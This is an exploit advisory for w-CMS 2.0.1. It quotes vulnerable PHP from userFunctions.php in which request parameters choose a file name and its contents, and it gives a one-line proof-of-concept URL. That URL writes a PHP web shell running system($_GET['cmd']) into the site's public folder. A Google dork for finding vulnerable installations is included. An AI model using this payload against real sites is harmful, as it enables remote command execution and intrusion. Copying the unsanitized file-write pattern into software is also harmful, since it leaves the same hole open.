w-CMS 2.0.1 - Remote Code Execution

Exploit Title: w-CMS 2.0.1 Remote Code Execution Vulnerability
Google Dork: intext:"Powered by w-CMS"
Date: 15/08/2013
Exploit Author: ICheer_No0M - http://icheernoom.blogspot.com/
Vendor Homepage: http://w-cms.org/
Software Link: -
Version: 2.0.1
Tested on: Windows 7 + PHP 5.2.6


---> Vuln Code : /userFunctions.php

   
  6. switch($_REQUEST['udef']) // user defined function
	     ...
 11. case 'activity': procActivity(); // <-- call procActivity Function
	     ...
254. function procActivity()
255. {
256. 	$type    = $_REQUEST['type']; // <-- type
257. 	$content = $_REQUEST['content']; // <-- content
258. 	$content = preg_replace("/\|/","\0xff ",$content)."\n";
259. 	$data = explode("\n",@file_get_contents("./public/$type")); 
260. 	$file = @fopen("./public/$type", "w"); // <-- filename = $type
261. 	if($file);
262. 	{
263. 		fwrite($file, $content); // <-- fwrite to write $content into $filename
264.		for($ix=0;$ix<25;$ix++)
265.		{
266.			fwrite($file,$data[$ix]."\n");
267.		}
268.		fclose($file);
269. 	}
    
---> Exploit/Proof of Concept (PoC)
 
http://localhost/wcms/userFunctions.php?udef=activity&type=shell.php&content=<?php system($_GET['cmd']); ?>
 
Find your shell on /public/shell.php